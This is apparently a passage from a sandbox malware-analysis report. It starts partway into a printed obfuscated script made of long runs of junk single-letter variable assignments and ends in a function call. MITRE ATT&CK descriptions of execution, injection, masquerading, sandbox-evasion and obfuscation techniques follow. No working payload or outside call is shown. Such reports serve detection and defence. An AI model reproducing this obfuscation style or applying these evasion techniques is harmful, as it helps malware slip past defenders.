531	nrhpsjbtf = "H";
532	nrhpsjbtf = "K";
533	nrhpsjbtf = "S";
534	nrhpsjbtf = "k";
535	nrhpsjbtf = "w";
536	nrhpsjbtf = "8";
537	hvprtc = "X";
538	hvprtc = "K";
539	hvprtc = "C";
540	hvprtc = "S";
541	hvprtc = "k";
542	hvprtc = "E";
543	hvprtc = "t";
544	hvprtc = "n";
545	hvprtc = "a";
546	hvprtc = "b";
547	hvprtc = ":";
548	uslty = "z";
549	uslty = "m";
550	uslty = "x";
551	uslty = "W";
552	uslty = "O";
553	uslty = "P";
554	uslty = "F";
555	uslty = "J";
556	uslty = "y";
557	uslty = "f";
558	uslty = "s";
559	uslty = "n";
560	uslty = "D";
561	uslty = "u";
562	uslty = "V";
563	uslty = "v";
564	uslty = "z";
565	uslty = "J";
566	uslty = "c";
567	uslty = "V";
568	uslty = "B";
569	uslty = "O";
570	uslty = "d";
571	uslty = "x";
572	uslty = "T";
573	uslty = "w";
574	uslty = "P";
575	uslty = "C";
576	uslty = "f";
577	uslty = "k";
578	uslty = "w";
579	uslty = "k";
580	uslty = "l";
581	uslty = "n";
582	uslty = "F";
583	uslty = "E";
584	uslty = "H";
585	uslty = "q";
586	uslty = "k";
587	uslty = "U";
588	uslty = "u";
589	uslty = "l";
590	uslty = "P";
591	uslty = "I";
592	bhfyn = "Y";
593	bhfyn = "b";
594	munekagu = "c";
595	munekagu = "x";
596	munekagu = "y";
597	munekagu = "B";
598	munekagu = "h";
599	munekagu = "Y";
600	munekagu = "t";
601	munekagu = "j";
602	munekagu = "G";
603	munekagu = "U";
604	munekagu = "v";
605	munekagu = "J";
606	munekagu = "U";
607	munekagu = "n";
608	munekagu = "D";
609	munekagu = "f";
610	munekagu = "T";
611	munekagu = "w";
612	munekagu = "y";
613	munekagu = "K";
614	munekagu = "q";
615	munekagu = "t";
616	munekagu = "E";
617	munekagu = "s";
618	munekagu = "t";
619	munekagu = "j";
620	munekagu = "V";
621	munekagu = "Q";
622	munekagu = "E";
623	munekagu = "r";
624	munekagu = "r";
625	munekagu = "Q";
626	munekagu = "w";
627	munekagu = "u";
628	munekagu = "s";
629	munekagu = "K";
630	munekagu = "l";
631	munekagu = "A";
632	munekagu = "p";
633	munekagu = "K";
634	qhlnnrw = "d";
635	qhlnnrw = "r";
636	qhlnnrw = "j";
637	qhlnnrw = "a";
638	qhlnnrw = "V";
639	qhlnnrw = "v";
640	qhlnnrw = "R";
641	qhlnnrw = "U";
642	qhlnnrw = "x";
643	favpt = "r";
644	favpt = "t";
645	favpt = "R";
646	favpt = "M";
647	favpt = "t";
648	evcowcj = "V";
649	evcowcj = "N";
650	evcowcj = "B";
651	evcowcj = "z";
652	evcowcj = "j";
653	evcowcj = "A";
654	evcowcj = "Y";
655	evcowcj = "i";
656	evcowcj = "L";
657	evcowcj = "k";
658	ltgfgdw = "w";
659	ltgfgdw = "E";
660	ltgfgdw = "D";
661	ltgfgdw = "e";
662	ltgfgdw = "K";
663	ltgfgdw = "j";
664	ltgfgdw = "A";
665	ltgfgdw = "h";
666	ltgfgdw = "T";
667	ltgfgdw = "B";
668	ltgfgdw = "J";
669	ltgfgdw = "D";
670	ltgfgdw = "z";
671	ltgfgdw = "L";
672	ltgfgdw = "H";
673	ltgfgdw = "p";
674	ltgfgdw = "p";
675	ltgfgdw = "v";
676	ltgfgdw = "A";
677	ltgfgdw = "R";
678	ltgfgdw = "H";
679	ltgfgdw = "B";
680	ltgfgdw = "Z";
681	ltgfgdw = "b";
682	ltgfgdw = "g";
683	ltgfgdw = "C";
684	ltgfgdw = "R";
685	ltgfgdw = "y";
686	ltgfgdw = "W";
687	ltgfgdw = "a";
688	ltgfgdw = "i";
689	ltgfgdw = "a";
690	ltgfgdw = "H";
691	ltgfgdw = "z";
692	ltgfgdw = "T";
693	ltgfgdw = "A";
694	ltgfgdw = "k";
695	ltgfgdw = "J";
696	ltgfgdw = "t";
697	ltgfgdw = "X";
698	ltgfgdw = "@";
699	qvfwbsdob = "R";
700	qvfwbsdob = "b";
701	qvfwbsdob = "G";
702	qvfwbsdob = "l";
703	qvfwbsdob = "F";
704	qvfwbsdob = "H";
705	qvfwbsdob = "s";
706	qvfwbsdob = "e";
707	qvfwbsdob = "Q";
708	qvfwbsdob = "J";
709	qvfwbsdob = "e";
710	qvfwbsdob = "G";
711	qvfwbsdob = "x";
712	qvfwbsdob = "q";
713	qvfwbsdob = "Q";
714	qvfwbsdob = "Q";
715	qvfwbsdob = "g";
716	qvfwbsdob = "M";
717	qvfwbsdob = "c";
718	qvfwbsdob = "m";
719	qvfwbsdob = "Z";
720	qvfwbsdob = "I";
721	qvfwbsdob = "L";
722	qvfwbsdob = "s";
723	qvfwbsdob = "h";
724	qvfwbsdob = "U";
725	qvfwbsdob = "q";
726	qvfwbsdob = "b";
727	qvfwbsdob = "t";
728	qvfwbsdob = "x";
729	qvfwbsdob = "o";
730	qvfwbsdob = "t";
731	qvfwbsdob = "h";
732	qvfwbsdob = "A";
733	qvfwbsdob = "l";
734	qvfwbsdob = "A";
735	qvfwbsdob = "X";
736	qvfwbsdob = "R";
737	qvfwbsdob = "q";
738	qvfwbsdob = "r";
739	qvfwbsdob = "g";
740	qvfwbsdob = "\"";
741	pakvjm = "L";
742	xxcwjaj = "i";
743	xxcwjaj = "A";
744	xxcwjaj = "b";
745	xxcwjaj = "w";
746	xxcwjaj = "f";
747	xxcwjaj = "X";
748	xxcwjaj = "a";
749	xxcwjaj = "T";
750	xxcwjaj = "F";
751	xxcwjaj = "a";
752	xxcwjaj = "p";
753	xxcwjaj = "H";
754	xxcwjaj = "Q";
755	xxcwjaj = "q";
756	tbqidj = "T";
757	tbqidj = "L";
758	tbqidj = "e";
759	tbqidj = "F";
760	tbqidj = "j";
761	tbqidj = "n";
762	tbqidj = "e";
763	tbqidj = "F";
764	tbqidj = "x";
765	tbqidj = "D";
766	tbqidj = "j";
767	tbqidj = "u";
768	tbqidj = "r";
769	tbqidj = "Q";
770	tbqidj = "a";
771	tbqidj = "r";
772	tbqidj = "B";
773	tbqidj = "c";
774	tbqidj = "E";
775	tbqidj = "B";
776	tbqidj = "W";
777	tbqidj = "j";
778	tbqidj = "x";
779	tbqidj = "F";
780	tbqidj = "H";
781	tbqidj = "N";
782	tbqidj = "E";
783	tbqidj = "k";
784	tbqidj = "L";
785	tbqidj = "l";
786	tbqidj = "H";
787	tbqidj = "J";
788	tbqidj = "M";
789	tbqidj = "/";
790	xxepxqg = "G";
791	xxepxqg = "C";
792	xxepxqg = "y";
793	xxepxqg = "p";
794	xxepxqg = "H";
795	xxepxqg = "w";
796	xxepxqg = "E";
797	xxepxqg = "y";
798	xxepxqg = "u";
799	xxepxqg = "N";
800	xxepxqg = "d";
801	xxepxqg = "p";
802	xxepxqg = "q";
803	xxepxqg = "D";
804	xxepxqg = "c";
805	xxepxqg = "C";
806	xxepxqg = "R";
807	xxepxqg = "d";
808	xxepxqg = "p";
809	xxepxqg = "n";
810	xxepxqg = "W";
811	pisqncuid = "L";
812	pisqncuid = "V";
813	pisqncuid = "T";
814	pisqncuid = "E";
815	pisqncuid = "p";
816	pisqncuid = "H";
817	pisqncuid = "s";
818	pisqncuid = "C";
819	pisqncuid = "X";
820	pisqncuid = "D";
821	pisqncuid = "E";
822	pisqncuid = "j";
823	pisqncuid = "c";
824	pisqncuid = "Y";
825	pisqncuid = "c";
826	pisqncuid = "m";
827	pisqncuid = "K";
828	pisqncuid = "r";
829	pisqncuid = "M";
830	pisqncuid = "S";
831	pisqncuid = "a";
832	pisqncuid = "E";
833	pisqncuid = "B";
834	pisqncuid = "l";
835	pisqncuid = "m";
836	pisqncuid = "R";
837	pisqncuid = "w";
838	pisqncuid = "E";
839	pisqncuid = "s";
840	pisqncuid = "R";
841	pisqncuid = "T";
842	pisqncuid = "N";
843	pisqncuid = "u";
844	pisqncuid = "h";
845	pisqncuid = "r";
846	pisqncuid = "Y";
847	pisqncuid = "o";
848	pisqncuid = "i";
849	ugwcikphl = "E";
850	ugwcikphl = "S";
851	ugwcikphl = "N";
852	ugwcikphl = "C";
853	ugwcikphl = "R";
854	ugwcikphl = "Z";
855	ugwcikphl = "h";
856	ugwcikphl = "a";
857	ugwcikphl = "h";
858	ugwcikphl = "h";
859	ugwcikphl = "b";
860	ugwcikphl = "T";
861	ugwcikphl = "u";
862	ugwcikphl = "S";
863	ugwcikphl = "Y";
864	ugwcikphl = "r";
865	ugwcikphl = "K";
866	ugwcikphl = "o";
867	ugwcikphl = "u";
868	ugwcikphl = "t";
869	ugwcikphl = "O";
870	ugwcikphl = "O";
871	zmksr = "X";
872	zmksr = "U";
873	zmksr = "q";
874	zmksr = "t";
875	zmksr = "t";
876	zmksr = "w";
877	zmksr = "B";
878	zmksr = "A";
879	zmksr = "B";
880	zmksr = "P";
881	zmksr = "O";
882	zmksr = "a";
883	zmksr = "o";
884	zmksr = "L";
885	zmksr = "O";
886	zmksr = "u";
887	zmksr = "q";
888	zmksr = "Z";
889	zmksr = "F";
890	zmksr = "M";
891	zmksr = "z";
892	zmksr = "C";
893	zmksr = "E";
894	zmksr = "r";
895	zmksr = "d";
896	dkhwcpevh = "i";
897	dkhwcpevh = "A";
898	dkhwcpevh = "y";
899	dkhwcpevh = "y";
900	dkhwcpevh = "D";
901	dkhwcpevh = "k";
902	dkhwcpevh = "i";
903	dkhwcpevh = "k";
904	dkhwcpevh = "d";
905	dkhwcpevh = "g";
906	dkhwcpevh = "Z";
907	dkhwcpevh = "E";
908	dkhwcpevh = "T";
909	dkhwcpevh = "x";
910	dkhwcpevh = "h";
911	dkhwcpevh = "L";
912	dkhwcpevh = "g";
913	dkhwcpevh = "v";
914	dkhwcpevh = "F";
915	dkhwcpevh = "d";
916	dkhwcpevh = "m";
917	dkhwcpevh = "y";
918	dkhwcpevh = "p";
919	dkhwcpevh = "J";
920	dkhwcpevh = "A";
921	dkhwcpevh = "W";
922	dkhwcpevh = "t";
923	dkhwcpevh = "j";
924	dkhwcpevh = "u";
925	dkhwcpevh = "x";
926	dkhwcpevh = "W";
927	dkhwcpevh = "T";
928	dkhwcpevh = "y";
929	dkhwcpevh = "E";
930	dkhwcpevh = "N";
931	dkhwcpevh = "m";
932	xwtad = "x";
933	xwtad = "J";
934	xwtad = "W";
935	xwtad = "r";
936	xwtad = "r";
937	xwtad = "A";
938	xwtad = "x";
939	xwtad = "V";
940	xwtad = "d";
941	xwtad = "Q";
942	xwtad = "l";
943	xwtad = "Q";
944	xwtad = "A";
945	xwtad = "L";
946	xwtad = "e";
947	xwtad = "C";
948	xwtad = "L";
949	xwtad = "s";
950	xwtad = "V";
951	xwtad = "S";
952	xwtad = "r";
953	xwtad = "g";
954	xwtad = "A";
955	xwtad = "C";
956	xwtad = "z";
957	xwtad = "I";
958	xwtad = "d";
959	xwtad = "N";
960	xwtad = "W";
961	xwtad = "b";
962	xwtad = "d";
963	xwtad = "I";
964	xwtad = "W";
965	xwtad = "4";
966	vkmxfkwok = "q";
967	vkmxfkwok = "q";
968	vkmxfkwok = "f";
969	vkmxfkwok = "w";
970	vkmxfkwok = "d";
971	vkmxfkwok = "r";
972	vkmxfkwok = "f";
973	vkmxfkwok = "K";
974	vkmxfkwok = "Q";
975	vkmxfkwok = "q";
976	vkmxfkwok = "C";
977	vkmxfkwok = "c";
978	vkmxfkwok = "Q";
979	vkmxfkwok = "y";
980	vkmxfkwok = "T";
981	vkmxfkwok = "V";
982	vkmxfkwok = "b";
983	vkmxfkwok = "o";
984	vkmxfkwok = "o";
985	vkmxfkwok = "Y";
986	vkmxfkwok = "X";
987	vkmxfkwok = "z";
988	vkmxfkwok = "f";
989	vkmxfkwok = "S";
990	vkmxfkwok = "f";
991	vkmxfkwok = "O";
992	vkmxfkwok = "h";
993	vkmxfkwok = "Z";
994	vkmxfkwok = "m";
995	vkmxfkwok = "i";
996	vkmxfkwok = "O";
997	vkmxfkwok = "y";
998	vkmxfkwok = "R";
999	vkmxfkwok = "B";
1000	vkmxfkwok = "6";
1001	iiywwuz = "g";
1002	iiywwuz = "L";
1003	iiywwuz = "d";
1004	iiywwuz = "A";
1005	iiywwuz = "B";
1006	iiywwuz = "P";
1007	iiywwuz = "m";
1008	iiywwuz = "c";
1009	iiywwuz = "l";
1010	iiywwuz = "F";
1011	coghwx = "I";
1012	coghwx = "k";
1013	coghwx = "o";
1014	coghwx = "g";
1015	coghwx = "w";
1016	coghwx = "W";
1017	coghwx = "y";
1018	coghwx = "w";
1019	coghwx = "m";
1020	coghwx = "o";
1021	coghwx = "b";
1022	coghwx = "j";
1023	coghwx = "y";
1024	coghwx = "h";
1025	coghwx = "v";
1026	coghwx = "U";
1027	coghwx = "q";
1028	coghwx = "S";
1029	coghwx = "E";
1030	coghwx = "p";
1031	coghwx = "M";
1032	coghwx = "O";
1033	coghwx = "x";
1034	coghwx = "j";
1035	coghwx = "N";
1036	coghwx = "a";
1037	coghwx = "X";
1038	coghwx = "a";
1039	ipgxpt = "p";
1040	ipgxpt = "x";
1041	ipgxpt = "a";
1042	ipgxpt = "s";
1043	ipgxpt = "m";
1044	ipgxpt = "z";
1045	ipgxpt = "R";
1046	ipgxpt = "P";
1047	ipgxpt = "G";
1048	ipgxpt = "V";
1049	ipgxpt = "t";
1050	ipgxpt = "A";
1051	ipgxpt = "t";
1052	ipgxpt = "K";
1053	ipgxpt = "s";
1054	ipgxpt = "e";
1055	ipgxpt = "i";
1056	ipgxpt = "h";
1057	ipgxpt = "C";
1058	ipgxpt = "I";
1059	ipgxpt = "G";
1060	ipgxpt = "d";
1061	ipgxpt = "C";
1062	ipgxpt = "u";
1063	ipgxpt = "j";
1064	ipgxpt = "T";
1065	ipgxpt = "W";
1066	ipgxpt = "V";
1067	ipgxpt = "P";
1068	ipgxpt = "k";
1069	ipgxpt = "t";
1070	ipgxpt = "t";
1071	ipgxpt = "g";
1072	ipgxpt = "C";
1073	ipgxpt = "R";
1074	ipgxpt = "p";
1075	ipgxpt = "R";
1076	ipgxpt = "K";
1077	ipgxpt = "c";
1078	ipgxpt = "Q";
1079	ipgxpt = "v";
1080	vebzeivk = "d";
1081	vebzeivk = "m";
1082	vebzeivk = "c";
1083	vebzeivk = "C";
1084	vebzeivk = "y";
1085	vebzeivk = "i";
1086	vebzeivk = "g";
1087	vebzeivk = "n";
1088	vebzeivk = "e";
1089	vebzeivk = "c";
1090	vebzeivk = "o";
1091	vebzeivk = "s";
1092	vebzeivk = "i";
1093	vebzeivk = "H";
1094	vebzeivk = "Y";
1095	vebzeivk = "w";
1096	vebzeivk = "X";
1097	vebzeivk = "S";
1098	vebzeivk = "U";
1099	vebzeivk = "S";
1100	vebzeivk = "q";
1101	vebzeivk = "N";
1102	vebzeivk = "M";
1103	vebzeivk = "X";
1104	vebzeivk = "p";
1105	vebzeivk = "g";
1106	coskxeyln = "u";
1107	coskxeyln = "D";
1108	coskxeyln = "V";
1109	coskxeyln = "l";
1110	coskxeyln = "W";
1111	coskxeyln = "2";
1112	ludsym = "l";
1113	ludsym = "i";
1114	ludsym = "H";
1115	ludsym = "k";
1116	ludsym = "F";
1117	ludsym = "M";
1118	ludsym = "A";
1119	ludsym = "P";
1120	ludsym = "L";
1121	ludsym = "l";
1122	ludsym = "x";
1123	ludsym = "D";
1124	ludsym = "Z";
1125	ludsym = "L";
1126	ludsym = "n";
1127	ludsym = "k";
1128	ludsym = "O";
1129	ludsym = "X";
1130	ludsym = "K";
1131	ludsym = "V";
1132	ludsym = "7";
1133	pxdsys = "i";
1134	pxdsys = "u";
1135	pxdsys = "c";
1136	pxdsys = "k";
1137	pxdsys = "N";
1138	pxdsys = "f";
1139	pxdsys = "K";
1140	pxdsys = "K";
1141	pxdsys = "d";
1142	pxdsys = "M";
1143	pxdsys = "i";
1144	pxdsys = "f";
1145	pxdsys = "J";
1146	pxdsys = "e";
1147	pxdsys = "n";
1148	pxdsys = "j";
1149	pxdsys = "p";
1150	pxdsys = "X";
1151	pxdsys = "C";
1152	zjacnf = "T";
1153	zjacnf = "c";
1154	zjacnf = "b";
1155	zjacnf = "T";
1156	zjacnf = "c";
1157	zjacnf = "O";
1158	zjacnf = "W";
1159	zjacnf = "t";
1160	zjacnf = "B";
1161	zjacnf = "v";
1162	zjacnf = "y";
1163	zjacnf = "c";
1164	zjacnf = "Q";
1165	zjacnf = "G";
1166	zjacnf = "K";
1167	zjacnf = "H";
1168	zjacnf = "G";
1169	zjacnf = "E";
1170	zjacnf = "z";
1171	zjacnf = "H";
1172	zjacnf = "s";
1173	zkqdrtjld = "c";
1174	zkqdrtjld = "f";
1175	zkqdrtjld = "z";
1176	zkqdrtjld = "o";
1177	zkqdrtjld = "i";
1178	zkqdrtjld = "n";
1179	zkqdrtjld = "s";
1180	zkqdrtjld = "L";
1181	zkqdrtjld = "M";
1182	zkqdrtjld = "P";
1183	zkqdrtjld = "n";
1184	zkqdrtjld = "Z";
1185	zkqdrtjld = "P";
1186	zkqdrtjld = "y";
1187	zkqdrtjld = "q";
1188	zkqdrtjld = "t";
1189	zkqdrtjld = "p";
1190	zkqdrtjld = "A";
1191	zkqdrtjld = "L";
1192	zkqdrtjld = "t";
1193	zkqdrtjld = "C";
1194	zkqdrtjld = "v";
1195	zkqdrtjld = "B";
1196	zkqdrtjld = "O";
1197	zkqdrtjld = "P";
1198	zkqdrtjld = "C";
1199	zkqdrtjld = "Z";
1200	zkqdrtjld = "L";
1201	zkqdrtjld = "p";
1202	zkqdrtjld = "Q";
1203	zkqdrtjld = "G";
1204	zkqdrtjld = "J";
1205	zkqdrtjld = "u";
1206	zkqdrtjld = "Z";
1207	zkqdrtjld = "N";
1208	zkqdrtjld = "%";
1209	wcmmgjj = "z";
1210	wcmmgjj = "T";
1211	wcmmgjj = "M";
1212	wcmmgjj = "r";
1213	wcmmgjj = "m";
1214	wcmmgjj = "u";
1215	wcmmgjj = "X";
1216	wcmmgjj = "v";
1217	wcmmgjj = "J";
1218	wcmmgjj = "X";
1219	wcmmgjj = "g";
1220	wcmmgjj = "P";
1221	wcmmgjj = "i";
1222	wcmmgjj = "M";
1223	wcmmgjj = "b";
1224	wcmmgjj = "K";
1225	wcmmgjj = "H";
1226	wcmmgjj = "D";
1227	wcmmgjj = "V";
1228	wcmmgjj = "s";
1229	wcmmgjj = "g";
1230	wcmmgjj = "N";
1231	wcmmgjj = "q";
1232	wcmmgjj = "Y";
1233	wcmmgjj = "L";
1234	wcmmgjj = "q";
1235	wcmmgjj = "t";
1236	wcmmgjj = "m";
1237	wcmmgjj = "I";
1238	wcmmgjj = "G";
1239	wcmmgjj = "Z";
1240	wcmmgjj = "u";
1241	wcmmgjj = "O";
1242	wcmmgjj = "D";
1243	wcmmgjj = "W";
1244	wcmmgjj = "Q";
1245	wcmmgjj = "O";
1246	wcmmgjj = "Z";
1247	wcmmgjj = "U";
1248	wcmmgjj = "c";
1249	wcmmgjj = "l";
1250	wcmmgjj = "H";
1251	esaum = "U";
1252	esaum = "&";
1253	epdmtf = "I";
1254	epdmtf = "m";
1255	epdmtf = "q";
1256	epdmtf = "U";
1257	epdmtf = "z";
1258	epdmtf = "E";
1259	epdmtf = "b";
1260	epdmtf = "F";
1261	epdmtf = "V";
1262	epdmtf = "W";
1263	epdmtf = "Q";
1264	epdmtf = "O";
1265	epdmtf = "b";
1266	epdmtf = "D";
1267	epdmtf = "l";
1268	epdmtf = "u";
1269	epdmtf = "G";
1270	epdmtf = "Y";
1271	epdmtf = "F";
1272	epdmtf = "u";
1273	epdmtf = "j";
1274	epdmtf = "t";
1275	epdmtf = "K";
1276	epdmtf = "e";
1277	epdmtf = "T";
1278	epdmtf = "g";
1279	epdmtf = "y";
1280	epdmtf = "k";
1281	epdmtf = "s";
1282	epdmtf = "b";
1283	epdmtf = "h";
1284	epdmtf = "w";
1285	epdmtf = "o";
1286	epdmtf = "D";
1287	epdmtf = "A";
1288	epdmtf = "S";
1289	epdmtf = "e";
1290	epdmtf = "O";
1291	epdmtf = "l";
1292	epdmtf = "K";
1293	epdmtf = "S";
1294	wldfg = "v";
1295	wldfg = "z";
1296	wldfg = "K";
1297	wldfg = "g";
1298	wldfg = "N";
1299	wldfg = "D";
1300	wldfg = "h";
1301	wldfg = "m";
1302	wldfg = "j";
1303	wldfg = "K";
1304	wldfg = "X";
1305	wldfg = "c";
1306	wldfg = "q";
1307	wldfg = "T";
1308	wldfg = "D";
1309	wldfg = "M";
1310	wldfg = "s";
1311	wldfg = "Q";
1312	wldfg = "V";
1313	wldfg = "m";
1314	wldfg = "y";
1315	wldfg = "e";
1316	eluzmbp = "L";
1317	eluzmbp = "I";
1318	eluzmbp = "D";
1319	eluzmbp = "U";
1320	eluzmbp = "b";
1321	eluzmbp = "W";
1322	eluzmbp = "f";
1323	eluzmbp = "t";
1324	eluzmbp = "h";
1325	eluzmbp = "c";
1326	eluzmbp = "v";
1327	eluzmbp = "w";
1328	eluzmbp = "T";
1329	eluzmbp = "p";
1330	eluzmbp = "b";
1331	eluzmbp = "q";
1332	eluzmbp = "R";
1333	rlwkzfe = "K";
1334	rlwkzfe = "o";
1335	rlwkzfe = "C";
1336	rlwkzfe = "T";
1337	rlwkzfe = "q";
1338	rlwkzfe = "N";
1339	rlwkzfe = "U";
1340	rlwkzfe = "I";
1341	rlwkzfe = "k";
1342	rlwkzfe = "I";
1343	rlwkzfe = "j";
1344	rlwkzfe = "z";
1345	rlwkzfe = "v";
1346	rlwkzfe = "L";
1347	rlwkzfe = "M";
1348	rlwkzfe = "f";
1349	rlwkzfe = "H";
1350	rlwkzfe = "c";
1351	rlwkzfe = "R";
1352	rlwkzfe = "d";
1353	rlwkzfe = "e";
1354	rlwkzfe = "q";
1355	rlwkzfe = "K";
1356	rlwkzfe = "x";
1357	rlwkzfe = "Y";
1358	rlwkzfe = "o";
1359	rlwkzfe = "b";
1360	rlwkzfe = "q";
1361	rlwkzfe = "c";
1362	rlwkzfe = "N";
1363	rlwkzfe = "Z";
1364	rlwkzfe = "S";
1365	rlwkzfe = "p";
1366	rlwkzfe = "n";
1367	rlwkzfe = "r";
1368	rlwkzfe = "d";
1369	rlwkzfe = "g";
1370	rlwkzfe = "M";
1371	rlwkzfe = "r";
1372	rlwkzfe = "k";
1373	rlwkzfe = "q";
1374	rlwkzfe = "H";
1375	rlwkzfe = "E";
1376	kvlximd = "r";
1377	kvlximd = "a";
1378	kvlximd = "L";
1379	kvlximd = "z";
1380	kvlximd = "l";
1381	kvlximd = "Z";
1382	kvlximd = "I";
1383	kvlximd = "E";
1384	kvlximd = "U";
1385	kvlximd = "h";
1386	kvlximd = "C";
1387	kvlximd = "Q";
1388	kvlximd = "a";
1389	kvlximd = "Y";
1390	kvlximd = "l";
1391	kvlximd = "b";
1392	kvlximd = "i";
1393	kvlximd = "N";
1394	izpjnr = "q";
1395	izpjnr = "M";
1396	izpjnr = "H";
1397	izpjnr = "g";
1398	izpjnr = "V";
1399	izpjnr = "b";
1400	izpjnr = "S";
1401	izpjnr = "n";
1402	curljfhm = "S";
1403	curljfhm = "E";
1404	curljfhm = "G";
1405	curljfhm = "w";
1406	curljfhm = "N";
1407	curljfhm = "m";
1408	curljfhm = "N";
1409	curljfhm = "K";
1410	curljfhm = "q";
1411	curljfhm = "c";
1412	curljfhm = "W";
1413	curljfhm = "Z";
1414	curljfhm = "h";
1415	curljfhm = "Z";
1416	curljfhm = "d";
1417	curljfhm = "j";
1418	curljfhm = "A";
1419	curljfhm = "T";
1420	curljfhm = "h";
1421	curljfhm = "A";
1422	curljfhm = "s";
1423	curljfhm = "P";
1424	curljfhm = "d";
1425	curljfhm = "h";
1426	curljfhm = "c";
1427	curljfhm = "N";
1428	curljfhm = "N";
1429	curljfhm = "I";
1430	curljfhm = "A";
1431	curljfhm = "w";
1432	curljfhm = "M";
1433	curljfhm = "Y";
1434	curljfhm = "g";
1435	curljfhm = "E";
1436	curljfhm = "h";
1437	curljfhm = "g";
1438	curljfhm = "i";
1439	curljfhm = "H";
1440	curljfhm = "N";
1441	curljfhm = "h";
1442	curljfhm = "F";
1443	curljfhm = "A";
1444	curljfhm = "I";
1445	curljfhm = "K";
1446	curljfhm = ".";
1447	muaflpmh = "p";
1448	muaflpmh = "Y";
1449	muaflpmh = "v";
1450	muaflpmh = "M";
1451	muaflpmh = "l";
1452	muaflpmh = "a";
1453	muaflpmh = "j";
1454	rdoxr ( );	rdoxr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

